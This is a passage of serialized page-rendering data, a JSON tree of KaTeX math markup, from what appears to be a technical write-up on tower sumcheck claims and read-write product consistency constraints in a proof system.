",{"type":21,"tag":78,"props":121354,"children":121356},{"className":121355},[],[121357],{"type":26,"value":121358},"out_evals",{"type":26,"value":26643},{"type":21,"tag":22,"props":121361,"children":121362},{},[121363,121365],{"type":26,"value":121364},"The tower sumcheck claim is ",{"type":21,"tag":78,"props":121366,"children":121368},{"className":121367},[6715,6716],[121369],{"type":21,"tag":153,"props":121370,"children":121372},{"className":121371},[6721],[121373],{"type":21,"tag":153,"props":121374,"children":121376},{"className":121375,"ariaHidden":3294},[6726],[121377,121408,121533],{"type":21,"tag":153,"props":121378,"children":121380},{"className":121379},[6731],[121381,121385,121395,121399,121404],{"type":21,"tag":153,"props":121382,"children":121384},{"className":121383,"style":95259},[6736],[],{"type":21,"tag":153,"props":121386,"children":121388},{"className":121387},[6742,26],[121389],{"type":21,"tag":153,"props":121390,"children":121392},{"className":121391},[6742],[121393],{"type":26,"value":121394},"claim",{"type":21,"tag":153,"props":121396,"children":121398},{"className":121397,"style":6918},[6820],[],{"type":21,"tag":153,"props":121400,"children":121402},{"className":121401},[6923],[121403],{"type":26,"value":2367},{"type":21,"tag":153,"props":121405,"children":121407},{"className":121406,"style":6918},[6820],[],{"type":21,"tag":153,"props":121409,"children":121411},{"className":121410},[6731],[121412,121417,121474,121478,121520,121524,121529],{"type":21,"tag":153,"props":121413,"children":121416},{"className":121414,"style":121415},[6736],"height:1.2605em;vertical-align:-0.4358em;",[],{"type":21,"tag":153,"props":121418,"children":121420},{"className":121419},[24316],[121421,121426],{"type":21,"tag":153,"props":121422,"children":121424},{"className":121423,"style":24323},[24316,24321,24322],[121425],{"type":26,"value":111139},{"type":21,"tag":153,"props":121427,"children":121429},{"className":121428},[6757],[121430],{"type":21,"tag":153,"props":121431,"children":121433},{"className":121432},[6762,24334],[121434,121463],{"type":21,"tag":153,"props":121435,"children":121437},{"className":121436},[6767],[121438,121458],{"type":21,"tag":153,"props":121439,"children":121441},{"className":121440,"style":116551},[6772],[121442],{"type":21,"tag":153,"props":121443,"children":121444},{"style":24347},[121445,121449],{"type":21,"tag":153,"props":121446,"children":121448},{"className":121447,"style":6782},[6781],[],{"type":21,"tag":153,"props":121450,"children":121452},{"className":121451},[6787,6788,6789,6790],[121453],{"type":21,"tag":153,"props":121454,"children":121456},{"className":121455,"style":116567},[6742,24280,6790],[121457],{"type":26,"value":11382},{"type":21,"tag":153,"props":121459,"children":121461},{"className":121460},[24437],[121462],{"type":26,"value":24440},{"type":21,"tag":153,"props":121464,"children":121466},{"className":121465},[6767],[121467],{"type":21,"tag":153,"props":121468,"children":121470},{"className":121469,"style":116582},[6772],[121471],{"type":21,"tag":153,"props":121472,"children":121473},{},[],{"type":21,"tag":153,"props":121475,"children":121477},{"className":121476,"style":6859},[6820],[],{"type":21,"tag":153,"props":121479,"children":121481},{"className":121480},[6742],[121482,121487],{"type":21,"tag":153,"props":121483,"children":121485},{"className":121484,"style":117432},[6742,24280],[121486],{"type":26,"value":117435},{"type":21,"tag":153,"props":121488,"children":121490},{"className":121489},[6757],[121491],{"type":21,"tag":153,"props":121492,"children":121494},{"className":121493},[6762],[121495],{"type":21,"tag":153,"props":121496,"children":121498},{"className":121497},[6767],[121499],{"type":21,"tag":153,"props":121500,"children":121503},{"className":121501,"style":121502},[6772],"height:0.8247em;",[121504],{"type":21,"tag":153,"props":121505,"children":121506},{"style":6776},[121507,121511],{"type":21,"tag":153,"props":121508,"children":121510},{"className":121509,"style":6782},[6781],[],{"type":21,"tag":153,"props":121512,"children":121514},{"className":121513},[6787,6788,6789,6790],[121515],{"type":21,"tag":153,"props":121516,"children":121518},{"className":121517,"style":116567},[6742,24280,6790],[121519],{"type":26,"value":11382},{"type":21,"tag":153,"props":121521,"children":121523},{"className":121522,"style":6821},[6820],[],{"type":21,"tag":153,"props":121525,"children":121527},{"className":121526},[6826],[121528],{"type":26,"value":113606},{"type":21,"tag":153,"props":121530,"children":121532},{"className":121531,"style":6821},[6820],[],{"type":21,"tag":153,"props":121534,"children":121536},{"className":121535},[6731],[121537,121541,121550,121555],{"type":21,"tag":153,"props":121538,"children":121540},{"className":121539,"style":96757},[6736],[],{"type":21,"tag":153,"props":121542,"children":121544},{"className":121543},[6742,26],[121545],{"type":21,"tag":153,"props":121546,"children":121548},{"className":121547},[6742],[121549],{"type":26,"value":121018},{"type":21,"tag":153,"props":121551,"children":121553},{"className":121552,"style":95344},[6742],[121554],{"type":26,"value":5834},{"type":21,"tag":153,"props":121556,"children":121558},{"className":121557},[6742],[121559,121568],{"type":21,"tag":153,"props":121560,"children":121562},{"className":121561},[6742,26],[121563],{"type":21,"tag":153,"props":121564,"children":121566},{"className":121565},[6742],[121567],{"type":26,"value":121037},{"type":21,"tag":153,"props":121569,"children":121571},{"className":121570},[6757],[121572],{"type":21,"tag":153,"props":121573,"children":121575},{"className":121574},[6762,24334],[121576,121605],{"type":21,"tag":153,"props":121577,"children":121579},{"className":121578},[6767],[121580,121600],{"type":21,"tag":153,"props":121581,"children":121583},{"className":121582,"style":95873},[6772],[121584],{"type":21,"tag":153,"props":121585,"children":121586},{"style":116474},[121587,121591],{"type":21,"tag":153,"props":121588,"children":121590},{"className":121589,"style":6782},[6781],[],{"type":21,"tag":153,"props":121592,"children":121594},{"className":121593},[6787,6788,6789,6790],[121595],{"type":21,"tag":153,"props":121596,"children":121598},{"className":121597,"style":116567},[6742,24280,6790],[121599],{"type":26,"value":11382},{"type":21,"tag":153,"props":121601,"children":121603},{"className":121602},[24437],[121604],{"type":26,"value":24440},{"type":21,"tag":153,"props":121606,"children":121608},{"className":121607},[6767],[121609],{"type":21,"tag":153,"props":121610,"children":121612},{"className":121611,"style":121254},[6772],[121613],{"type":21,"tag":153,"props":121614,"children":121615},{},[],{"type":21,"tag":22,"props":121617,"children":121618},{},[121619,121621,121626],{"type":26,"value":121620},"This check is linear in ",{"type":21,"tag":78,"props":121622,"children":121624},{"className":121623},[],[121625],{"type":26,"value":121358},{"type":26,"value":355},{"type":21,"tag":126,"props":121628,"children":121629},{"start":166},[121630],{"type":21,"tag":91,"props":121631,"children":121632},{},[121633,121638,121640,121645],{"type":21,"tag":8055,"props":121634,"children":121635},{},[121636],{"type":26,"value":121637},"rw-product consistency",{"type":26,"value":121639}," (bilinear in ",{"type":21,"tag":78,"props":121641,"children":121643},{"className":121642},[],[121644],{"type":26,"value":121358},{"type":26,"value":26643},{"type":21,"tag":22,"props":121647,"children":121648},{},[121649],{"type":21,"tag":78,"props":121650,"children":121652},{"className":121651},[6715,6716],[121653],{"type":21,"tag":153,"props":121654,"children":121656},{"className":121655},[6721],[121657],{"type":21,"tag":153,"props":121658,"children":121660},{"className":121659,"ariaHidden":3294},[6726],[121661,121832,122003],{"type":21,"tag":153,"props":121662,"children":121664},{"className":121663},[6731],[121665,121669,121726,121730,121739,121744,121753,121758,121819,121823,121828],{"type":21,"tag":153,"props":121666,"children":121668},{"className":121667,"style":95286},[6736],[],{"type":21,"tag":153,"props":121670,"children":121672},{"className":121671},[24316],[121673,121678],{"type":21,"tag":153,"props":121674,"children":121676},{"className":121675,"style":24323},[24316,24321,24322],[121677],{"type":26,"value":120942},{"type":21,"tag":153,"props":121679,"children":121681},{"className":121680},[6757],[121682],{"type":21,"tag":153,"props":121683,"children":121685},{"className":121684},[6762,24334],[121686,121715],{"type":21,"tag":153,"props":121687,"children":121689},{"className":121688},[6767],[121690,121710],{"type":21,"tag":153,"props":121691,"children":121693},{"className":121692,"style":116551},[6772],[121694],{"type":21,"tag":153,"props":121695,"children":121696},{"style":24347},[121697,121701],{"type":21,"tag":153,"props":121698,"children":121700},{"className":121699,"style":6782},[6781],[],{"type":21,"tag":153,"props":121702,"children":121704},{"className":121703},[6787,6788,6789,6790],[121705],{"type":21,"tag":153,"props":121706,"children":121708},{"className":121707},[6742,24280,6790],[121709],{"type":26,"value":6471},{"type":21,"tag":153,"props":121711,"children":121713},{"className":121712},[24437],[121714],{"type":26,"value":24440},{"type":21,"tag":153,"props":121716,"children":121718},{"className":121717},[6767],[121719],{"type":21,"tag":153,"props":121720,"children":121722},{"className":121721,"style":116831},[6772],[121723],{"type":21,"tag":153,"props":121724,"children":121725},{},[],{"type":21,"tag":153,"props":121727,"children":121729},{"className":121728,"style":6859},[6820],[],{"type":21,"tag":153,"props":121731,"children":121733},{"className":121732},[6742,26],[121734],{"type":21,"tag":153,"props":121735,"children":121737},{"className":121736},[6742],[121738],{"type":26,"value":96163},{"type":21,"tag":153,"props":121740,"children":121742},{"className":121741,"style":95344},[6742],[121743],{"type":26,"value":5834},{"type":21,"tag":153,"props":121745,"children":121747},{"className":121746},[6742,26],[121748],{"type":21,"tag":153,"props":121749,"children":121751},{"className":121750},[6742],[121752],{"type":26,"value":121018},{"type":21,"tag":153,"props":121754,"children":121756},{"className":121755,"style":95344},[6742],[121757],{"type":26,"value":5834},{"type":21,"tag":153,"props":121759,"children":121761},{"className":121760},[6742],[121762,121771],{"type":21,"tag":153,"props":121763,"children":121765},{"className":121764},[6742,26],[121766],{"type":21,"tag":153,"props":121767,"children":121769},{"className":121768},[6742],[121770],{"type":26,"value":121037},{"type":21,"tag":153,"props":121772,"children":121774},{"className":121773},[6757],[121775],{"type":21,"tag":153,"props":121776,"children":121778},{"className":121777},[6762,24334],[121779,121808],{"type":21,"tag":153,"props":121780,"children":121782},{"className":121781},[6767],[121783,121803],{"type":21,"tag":153,"props":121784,"children":121786},{"className":121785,"style":95873},[6772],[121787],{"type":21,"tag":153,"props":121788,"children":121789},{"style":116474},[121790,121794],{"type":21,"tag":153,"props":121791,"children":121793},{"className":121792,"style":6782},[6781],[],{"type":21,"tag":153,"props":121795,"children":121797},{"className":121796},[6787,6788,6789,6790],[121798],{"type":21,"tag":153,"props":121799,"children":121801},{"className":121800},[6742,24280,6790],[121802],{"type":26,"value":6471},{"type":21,"tag":153,"props":121804,"children":121806},{"className":121805},[24437],[121807],{"type":26,"value":24440},{"type":21,"tag":153,"props":121809,"children":121811},{"className":121810},[6767],[121812],{"type":21,"tag":153,"props":121813,"children":121815},{"className":121814,"style":95427},[6772],[121816],{"type":21,"tag":153,"props":121817,"children":121818},{},[],{"type":21,"tag":153,"props":121820,"children":121822},{"className":121821,"style":6918},[6820],[],{"type":21,"tag":153,"props":121824,"children":121826},{"className":121825},[6923],[121827],{"type":26,"value":2367},{"type":21,"tag":153,"props":121829,"children":121831},{"className":121830,"style":6918},[6820],[],{"type":21,"tag":153,"props":121833,"children":121835},{"className":121834},[6731],[121836,121840,121897,121901,121910,121915,121924,121929,121990,121994,121999],{"type":21,"tag":153,"props":121837,"children":121839},{"className":121838,"style":121106},[6736],[],{"type":21,"tag":153,"props":121841,"children":121843},{"className":121842},[24316],[121844,121849],{"type":21,"tag":153,"props":121845,"children":121847},{"className":121846,"style":24323},[24316,24321,24322],[121848],{"type":26,"value":120942},{"type":21,"tag":153,"props":121850,"children":121852},{"className":121851},[6757],[121853],{"type":21,"tag":153,"props":121854,"children":121856},{"className":121855},[6762,24334],[121857,121886],{"type":21,"tag":153,"props":121858,"children":121860},{"className":121859},[6767],[121861,121881],{"type":21,"tag":153,"props":121862,"children":121864},{"className":121863,"style":116551},[6772],[121865],{"type":21,"tag":153,"props":121866,"children":121867},{"style":24347},[121868,121872],{"type":21,"tag":153,"props":121869,"children":121871},{"className":121870,"style":6782},[6781],[],{"type":21,"tag":153,"props":121873,"children":121875},{"className":121874},[6787,6788,6789,6790],[121876],{"type":21,"tag":153,"props":121877,"children":121879},{"className":121878,"style":116567},[6742,24280,6790],[121880],{"type":26,"value":11382},{"type":21,"tag":153,"props":121882,"children":121884},{"className":121883},[24437],[121885],{"type":26,"value":24440},{"type":21,"tag":153,"props":121887,"children":121889},{"className":121888},[6767],[121890],{"type":21,"tag":153,"props":121891,"children":121893},{"className":121892,"style":116582},[6772],[121894],{"type":21,"tag":153,"props":121895,"children":121896},{},[],{"type":21,"tag":153,"props":121898,"children":121900},{"className":121899,"style":6859},[6820],[],{"type":21,"tag":153,"props":121902,"children":121904},{"className":121903},[6742,26],[121905],{"type":21,"tag":153,"props":121906,"children":121908},{"className":121907},[6742],[121909],{"type":26,"value":51862},{"type":21,"tag":153,"props":121911,"children":121913},{"className":121912,"style":95344},[6742],[121914],{"type":26,"value":5834},{"type":21,"tag":153,"props":121916,"children":121918},{"className":121917},[6742,26],[121919],{"type":21,"tag":153,"props":121920,"children":121922},{"className":121921},[6742],[121923],{"type":26,"value":121018},{"type":21,"tag":153,"props":121925,"children":121927},{"className":121926,"style":95344},[6742],[121928],{"type":26,"value":5834},{"type":21,"tag":153,"props":121930,"children":121932},{"className":121931},[6742],[121933,121942],{"type":21,"tag":153,"props":121934,"children":121936},{"className":121935},[6742,26],[121937],{"type":21,"tag":153,"props":121938,"children":121940},{"className":121939},[6742],[121941],{"type":26,"value":121037},{"type":21,"tag":153,"props":121943,"children":121945},{"className":121944},[6757],[121946],{"type":21,"tag":153,"props":121947,"children":121949},{"className":121948},[6762,24334],[121950,121979],{"type":21,"tag":153,"props":121951,"children":121953},{"className":121952},[6767],[121954,121974],{"type":21,"tag":153,"props":121955,"children":121957},{"className":121956,"style":95873},[6772],[121958],{"type":21,"tag":153,"props":121959,"children":121960},{"style":116474},[121961,121965],{"type":21,"tag":153,"props":121962,"children":121964},{"className":121963,"style":6782},[6781],[],{"type":21,"tag":153,"props":121966,"children":121968},{"className":121967},[6787,6788,6789,6790],[121969],{"type":21,"tag":153,"props":121970,"children":121972},{"className":121971,"style":116567},[6742,24280,6790],[121973],{"type":26,"value":11382},{"type":21,"tag":153,"props":121975,"children":121977},{"className":121976},[24437],[121978],{"type":26,"value":24440},{"type":21,"tag":153,"props":121980,"children":121982},{"className":121981},[6767],[121983],{"type":21,"tag":153,"props":121984,"children":121986},{"className":121985,"style":121254},[6772],[121987],{"type":21,"tag":153,"props":121988,"children":121989},{},[],{"type":21,"tag":153,"props":121991,"children":121993},{"className":121992,"style":6821},[6820],[],{"type":21,"tag":153,"props":121995,"children":121997},{"className":121996},[6826],[121998],{"type":26,"value":113606},{"type":21,"tag":153,"props":122000,"children":122002},{"className":122001,"style":6821},[6820],[],{"type":21,"tag":153,"props":122004,"children":122006},{"className":122005},[6731],[122007,122011,122016,122025],{"type":21,"tag":153,"props":122008,"children":122010},{"className":122009,"style":6841},[6736],[],{"type":21,"tag":153,"props":122012,"children":122014},{"className":122013},[24409],[122015],{"type":26,"value":189},{"type":21,"tag":153,"props":122017,"children":122019},{"className":122018},[6742,26],[122020],{"type":21,"tag":153,"props":122021,"children":122023},{"className":122022},[6742],[122024],{"type":26,"value":121294},{"type":21,"tag":153,"props":122026,"children":122028},{"className":122027},[24431],[122029],{"type":26,"value":2071},{"type":21,"tag":22,"props":122031,"children":122032},{},[122033,122035,122204,122205,122374],{"type":26,"value":122034},"If we vary ",{"type":21,"tag":78,"props":122036,"children":122038},{"className":122037},[6715,6716],[122039],{"type":21,"tag":153,"props":122040,"children":122042},{"className":122041},[6721],[122043],{"type":21,"tag":153,"props":122044,"children":122046},{"className":122045,"ariaHidden":3294},[6726],[122047,122125],{"type":21,"tag":153,"props":122048,"children":122050},{"className":122049},[6731],[122051,122055,122112,122116,122121],{"type":21,"tag":153,"props":122052,"children":122054},{"className":122053,"style":112314},[6736],[],{"type":21,"tag":153,"props":122056,"children":122058},{"className":122057},[6742],[122059,122064],{"type":21,"tag":153,"props":122060,"children":122062},{"className":122061},[6742,24280],[122063],{"type":26,"value":21972},{"type":21,"tag":153,"props":122065,"children":122067},{"className":122066},[6757],[122068],{"type":21,"tag":153,"props":122069,"children":122071},{"className":122070},[6762,24334],[122072,122101],{"type":21,"tag":153,"props":122073,"children":122075},{"className":122074},[6767],[122076,122096],{"type":21,"tag":153,"props":122077,"children":122079},{"className":122078,"style":95396},[6772],[122080],{"type":21,"tag":153,"props":122081,"children":122082},{"style":95400},[122083,122087],{"type":21,"tag":153,"props":122084,"children":122086},{"className":122085,"style":6782},[6781],[],{"type":21,"tag":153,"props":122088,"children":122090},{"className":122089},[6787,6788,6789,6790],[122091],{"type":21,"tag":153,"props":122092,"children":122094},{"className":122093},[6742,6790],[122095],{"type":26,"value":2996},{"type":21,"tag":153,"props":122097,"children":122099},{"className":122098},[24437],[122100],{"type":26,"value":24440},{"type":21,"tag":153,"props":122102,"children":122104},{"className":122103},[6767],[122105],{"type":21,"tag":153,"props":122106,"children":122108},{"className":122107,"style":95427},[6772],[122109],{"type":21,"tag":153,"props":122110,"children":122111},{},[],{"type":21,"tag":153,"props":122113,"children":122115},{"className":122114,"style":6918},[6820],[],{"type":21,"tag":153,"props":122117,"children":122119},{"className":122118},[6923],[122120],{"type":26,"value":2367},{"type":21,"tag":153,"props":122122,"children":122124},{"className":122123,"style":6918},[6820],[],{"type":21,"tag":153,"props":122126,"children":122128},{"className":122127},[6731],[122129,122133,122174,122179,122184,122189,122194,122199],{"type":21,"tag":153,"props":122130,"children":122132},{"className":122131,"style":95286},[6736],[],{"type":21,"tag":153,"props":122134,"children":122136},{"className":122135},[6742],[122137,122146,122151,122160,122165],{"type":21,"tag":153,"props":122138,"children":122140},{"className":122139},[6742,26],[122141],{"type":21,"tag":153,"props":122142,"children":122144},{"className":122143},[6742],[122145],{"type":26,"value":96163},{"type":21,"tag":153,"props":122147,"children":122149},{"className":122148,"style":95344},[6742],[122150],{"type":26,"value":5834},{"type":21,"tag":153,"props":122152,"children":122154},{"className":122153},[6742,26],[122155],{"type":21,"tag":153,"props":122156,"children":122158},{"className":122157},[6742],[122159],{"type":26,"value":121018},{"type":21,"tag":153,"props":122161,"children":122163},{"className":122162,"style":95344},[6742],[122164],{"type":26,"value":5834},{"type":21,"tag":153,"props":122166,"children":122168},{"className":122167},[6742,26],[122169],{"type":21,"tag":153,"props":122170,"children":122172},{"className":122171},[6742],[122173],{"type":26,"value":121037},{"type":21,"tag":153,"props":122175,"children":122177},{"className":122176},[24409],[122178],{"type":26,"value":211},{"type":21,"tag":153,"props":122180,"children":122182},{"className":122181},[6742],[122183],{"type":26,"value":2996},{"type":21,"tag":153,"props":122185,"children":122187},{"className":122186},[24431],[122188],{"type":26,"value":350},{"type":21,"tag":153,"props":122190,"children":122192},{"className":122191},[24409],[122193],{"type":26,"value":211},{"type":21,"tag":153,"props":122195,"children":122197},{"className":122196},[6742],[122198],{"type":26,"value":2996},{"type":21,"tag":153,"props":122200,"children":122202},{"className":122201},[24431],[122203],{"type":26,"value":350},{"type":26,"value":52},{"type":21,"tag":78,"props":122206,"children":122208},{"className":122207},[6715,6716],[122209],{"type":21,"tag":153,"props":122210,"children":122212},{"className":122211},[6721],[122213],{"type":21,"tag":153,"props":122214,"children":122216},{"className":122215,"ariaHidden":3294},[6726],[122217,122295],{"type":21,"tag":153,"props":122218,"children":122220},{"className":122219},[6731],[122221,122225,122282,122286,122291],{"type":21,"tag":153,"props":122222,"children":122224},{"className":122223,"style":112314},[6736],[],{"type":21,"tag":153,"props":122226,"children":122228},{"className":122227},[6742],[122229,122234],{"type":21,"tag":153,"props":122230,"children":122232},{"className":122231},[6742,24280],[122233],{"type":26,"value":21972},{"type":21,"tag":153,"props":122235,"children":122237},{"className":122236},[6757],[122238],{"type":21,"tag":153,"props":122239,"children":122241},{"className":122240},[6762,24334],[122242,122271],{"type":21,"tag":153,"props":122243,"children":122245},{"className":122244},[6767],[122246,122266],{"type":21,"tag":153,"props":122247,"children":122249},{"className":122248,"style":95396},[6772],[122250],{"type":21,"tag":153,"props":122251,"children":122252},{"style":95400},[122253,122257],{"type":21,"tag":153,"props":122254,"children":122256},{"className":122255,"style":6782},[6781],[],{"type":21,"tag":153,"props":122258,"children":122260},{"className":122259},[6787,6788,6789,6790],[122261],{"type":21,"tag":153,"props":122262,"children":122264},{"className":122263},[6742,6790],[122265],{"type":26,"value":3033},{"type":21,"tag":153,"props":122267,"children":122269},{"className":122268},[24437],[122270],{"type":26,"value":24440},{"type":21,"tag":153,"props":122272,"children":122274},{"className":122273},[6767],[122275],{"type":21,"tag":153,"props":122276,"children":122278},{"className":122277,"style":95427},[6772],[122279],{"type":21,"tag":153,"props":122280,"children":122281},{},[],{"type":21,"tag":153,"props":122283,"children":122285},{"className":122284,"style":6918},[6820],[],{"type":21,"tag":153,"props":122287,"children":122289},{"className":122288},[6923],[122290],{"type":26,"value":2367},{"type":21,"tag":153,"props":122292,"children":122294},{"className":122293,"style":6918},[6820],[],{"type":21,"tag":153,"props":122296,"children":122298},{"className":122297},[6731],[122299,122303,122344,122349,122354,122359,122364,122369],{"type":21,"tag":153,"props":122300,"children":122302},{"className":122301,"style":95286},[6736],[],{"type":21,"tag":153,"props":122304,"children":122306},{"className":122305},[6742],[122307,122316,122321,122330,122335],{"type":21,"tag":153,"props":122308,"children":122310},{"className":122309},[6742,26],[122311],{"type":21,"tag":153,"props":122312,"children":122314},{"className":122313},[6742],[122315],{"type":26,"value":96163},{"type":21,"tag":153,"props":122317,"children":122319},{"className":122318,"style":95344},[6742],[122320],{"type":26,"value":5834},{"type":21,"tag":153,"props":122322,"children":122324},{"className":122323},[6742,26],[122325],{"type":21,"tag":153,"props":122326,"children":122328},{"className":122327},[6742],[122329],{"type":26,"value":121018},{"type":21,"tag":153,"props":122331,"children":122333},{"className":122332,"style":95344},[6742],[122334],{"type":26,"value":5834},{"type":21,"tag":153,"props":122336,"children":122338},{"className":122337},[6742,26],[122339],{"type":21,"tag":153,"props":122340,"children":122342},{"className":122341},[6742],[122343],{"type":26,"value":121037},{"type":21,"tag":153,"props":122345,"children":122347},{"className":122346},[24409],[122348],{"type":26,"value":211},{"type":21,"tag":153,"props":122350,"children":122352},{"className":122351},[6742],[122353],{"type":26,"value":2996},{"type":21,"tag":153,"props":122355,"children":122357},{"className":122356},[24431],[122358],{"type":26,"value":350},{"type":21,"tag":153,"props":122360,"children":122362},{"className":122361},[24409],[122363],{"type":26,"value":211},{"type":21,"tag":153,"props":122365,"children":122367},{"className":122366},[6742],[122368],{"type":26,"value":3033},{"type":21,"tag":153,"props":122370,"children":122372},{"className":122371},[24431],[122373],{"type":26,"value":350},{"type":26,"value":122375}," we get the following constraint:",{"type":21,"tag":22,"props":122377,"children":122378},{},[122379],{"type":21,"tag":78,"props":122380,"children":122382},{"className":122381},[6715,6716],[122383],{"type":21,"tag":153,"props":122384,"children":122386},{"className":122385},[6721],[122387],{"type":21,"tag":153,"props":122388,"children":122390},{"className":122389,"ariaHidden":3294},[6726],[122391,122470,122548,122589],{"type":21,"tag":153,"props":122392,"children":122394},{"className":122393},[6731],[122395,122400,122457,122461,122466],{"type":21,"tag":153,"props":122396,"children":122399},{"className":122397,"style":122398},[6736],"height:0.5945em;vertical-align:-0.15em;",[],{"type":21,"tag":153,"props":122401,"children":122403},{"className":122402},[6742],[122404,122409],{"type":21,"tag":153,"props":122405,"children":122407},{"className":122406},[6742,24280],[122408],{"type":26,"value":21972},{"type":21,"tag":153,"props":122410,"children":122412},{"className":122411},[6757],[122413],{"type":21,"tag":153,"props":122414,"children":122416},{"className":122415},[6762,24334],[122417,122446],{"type":21,"tag":153,"props":122418,"children":122420},{"className":122419},[6767],[122421,122441],{"type":21,"tag":153,"props":122422,"children":122424},{"className":122423,"style":95396},[6772],[122425],{"type":21,"tag":153,"props":122426,"children":122427},{"style":95400},[122428,122432],{"type":21,"tag":153,"props":122429,"children":122431},{"className":122430,"style":6782},[6781],[],{"type":21,"tag":153,"props":122433,"children":122435},{"className":122434},[6787,6788,6789,6790],[122436],{"type":21,"tag":153,"props":122437,"children":122439},{"className":122438},[6742,6790],[122440],{"type":26,"value":2996},{"type":21,"tag":153,"props":122442,"children":122444},{"className":122443},[24437],[122445],{"type":26,"value":24440},{"type":21,"tag":153,"props":122447,"children":122449},{"className":122448},[6767],[122450],{"type":21,"tag":153,"props":122451,"children":122453},{"className":122452,"style":95427},[6772],[122454],{"type":21,"tag":153,"props":122455,"children":122456},{},[],{"type":21,"tag":153,"props":122458,"children":122460},{"className":122459,"style":6821},[6820],[],{"type":21,"tag":153,"props":122462,"children":122464},{"className":122463},[6826],[122465],{"type":26,"value":113606},{"type":21,"tag":153,"props":122467,"children":122469},{"className":122468,"style":6821},[6820],[],{"type":21,"tag":153,"props":122471,"children":122473},{"className":122472},[6731],[122474,122478,122535,122539,122544],{"type":21,"tag":153,"props":122475,"children":122477},{"className":122476,"style":122398},[6736],[],{"type":21,"tag":153,"props":122479,"children":122481},{"className":122480},[6742],[122482,122487],{"type":21,"tag":153,"props":122483,"children":122485},{"className":122484},[6742,24280],[122486],{"type":26,"value":21972},{"type":21,"tag":153,"props":122488,"children":122490},{"className":122489},[6757],[122491],{"type":21,"tag":153,"props":122492,"children":122494},{"className":122493},[6762,24334],[122495,122524],{"type":21,"tag":153,"props":122496,"children":122498},{"className":122497},[6767],[122499,122519],{"type":21,"tag":153,"props":122500,"children":122502},{"className":122501,"style":95396},[6772],[122503],{"type":21,"tag":153,"props":122504,"children":122505},{"style":95400},[122506,122510],{"type":21,"tag":153,"props":122507,"children":122509},{"className":122508,"style":6782},[6781],[],{"type":21,"tag":153,"props":122511,"children":122513},{"className":122512},[6787,6788,6789,6790],[122514],{"type":21,"tag":153,"props":122515,"children":122517},{"className":122516},[6742,6790],[122518],{"type":26,"value":3033},{"type":21,"tag":153,"props":122520,"children":122522},{"className":122521},[24437],[122523],{"type":26,"value":24440},{"type":21,"tag":153,"props":122525,"children":122527},{"className":122526},[6767],[122528],{"type":21,"tag":153,"props":122529,"children":122531},{"className":122530,"style":95427},[6772],[122532],{"type":21,"tag":153,"props":122533,"children":122534},{},[],{"type":21,"tag":153,"props":122536,"children":122538},{"className":122537,"style":6821},[6820],[],{"type":21,"tag":153,"props":122540,"children":122542},{"className":122541},[6826],[122543],{"type":26,"value":113606},{"type":21,"tag":153,"props":122545,"children":122547},{"className":122546,"style":6821},[6820],[],{"type":21,"tag":153,"props":122549,"children":122551},{"className":122550},[6731],[122552,122556,122561,122571,122576,122580,122585],{"type":21,"tag":153,"props":122553,"children":122555},{"className":122554,"style":6841},[6736],[],{"type":21,"tag":153,"props":122557,"children":122559},{"className":122558},[24409],[122560],{"type":26,"value":189},{"type":21,"tag":153,"props":122562,"children":122564},{"className":122563},[6742,26],[122565],{"type":21,"tag":153,"props":122566,"children":122568},{"className":122567},[6742],[122569],{"type":26,"value":122570},"rest of product",{"type":21,"tag":153,"props":122572,"children":122574},{"className":122573},[24431],[122575],{"type":26,"value":2071},{"type":21,"tag":153,"props":122577,"children":122579},{"className":122578,"style":6918},[6820],[],{"type":21,"tag":153,"props":122581,"children":122583},{"className":122582},[6923],[122584],{"type":26,"value":2367},{"type":21,"tag":153,"props":122586,"children":122588},{"className":122587,"style":6918},[6820],[],{"type":21,"tag":153,"props":122590,"children":122592},{"className":122591},[6731],[122593,122597],{"type":21,"tag":153,"props":122594,"children":122596},{"className":122595,"style":117364},[6736],[],{"type":21,"tag":153,"props":122598,"children":122600},{"className":122599},[6742,26],[122601],{"type":21,"tag":153,"props":122602,"children":122604},{"className":122603},[6742],[122605],{"type":26,"value":117375},{"type":21,"tag":22,"props":122607,"children":122608},{},[122609,122611,122764],{"type":26,"value":122610},"This is bilinear in ",{"type":21,"tag":78,"props":122612,"children":122614},{"className":122613},[6715,6716],[122615],{"type":21,"tag":153,"props":122616,"children":122618},{"className":122617},[6721],[122619],{"type":21,"tag":153,"props":122620,"children":122622},{"className":122621,"ariaHidden":3294},[6726],[122623],{"type":21,"tag":153,"props":122624,"children":122626},{"className":122625},[6731],[122627,122631,122636,122693,122698,122702,122759],{"type":21,"tag":153,"props":122628,"children":122630},{"className":122629,"style":6841},[6736],[],{"type":21,"tag":153,"props":122632,"children":122634},{"className":122633},[24409],[122635],{"type":26,"value":189},{"type":21,"tag":153,"props":122637,"children":122639},{"className":122638},[6742],[122640,122645],{"type":21,"tag":153,"props":122641,"children":122643},{"className":122642},[6742,24280],[122644],{"type":26,"value":21972},{"type":21,"tag":153,"props":122646,"children":122648},{"className":122647},[6757],[122649],{"type":21,"tag":153,"props":122650,"children":122652},{"className":122651},[6762,24334],[122653,122682],{"type":21,"tag":153,"props":122654,"children":122656},{"className":122655},[6767],[122657,122677],{"type":21,"tag":153,"props":122658,"children":122660},{"className":122659,"style":95396},[6772],[122661],{"type":21,"tag":153,"props":122662,"children":122663},{"style":95400},[122664,122668],{"type":21,"tag":153,"props":122665,"children":122667},{"className":122666,"style":6782},[6781],[],{"type":21,"tag":153,"props":122669,"children":122671},{"className":122670},[6787,6788,6789,6790],[122672],{"type":21,"tag":153,"props":122673,"children":122675},{"className":122674},[6742,6790],[122676],{"type":26,"value":2996},{"type":21,"tag":153,"props":122678,"children":122680},{"className":122679},[24437],[122681],{"type":26,"value":24440},{"type":21,"tag":153,"props":122683,"children":122685},{"className":122684},[6767],[122686],{"type":21,"tag":153,"props":122687,"children":122689},{"className":122688,"style":95427},[6772],[122690],{"type":21,"tag":153,"props":122691,"children":122692},{},[],{"type":21,"tag":153,"props":122694,"children":122696},{"className":122695},[6852],[122697],{"type":26,"value":6855},{"type":21,"tag":153,"props":122699,"children":122701},{"className":122700,"style":6859},[6820],[],{"type":21,"tag":153,"props":122703,"children":122705},{"className":122704},[6742],[122706,122711],{"type":21,"tag":153,"props":122707,"children":122709},{"className":122708},[6742,24280],[122710],{"type":26,"value":21972},{"type":21,"tag":153,"props":122712,"children":122714},{"className":122713},[6757],[122715],{"type":21,"tag":153,"props":122716,"children":122718},{"className":122717},[6762,24334],[122719,122748],{"type":21,"tag":153,"props":122720,"children":122722},{"className":122721},[6767],[122723,122743],{"type":21,"tag":153,"props":122724,"children":122726},{"className":122725,"style":95396},[6772],[122727],{"type":21,"tag":153,"props":122728,"children":122729},{"style":95400},[122730,122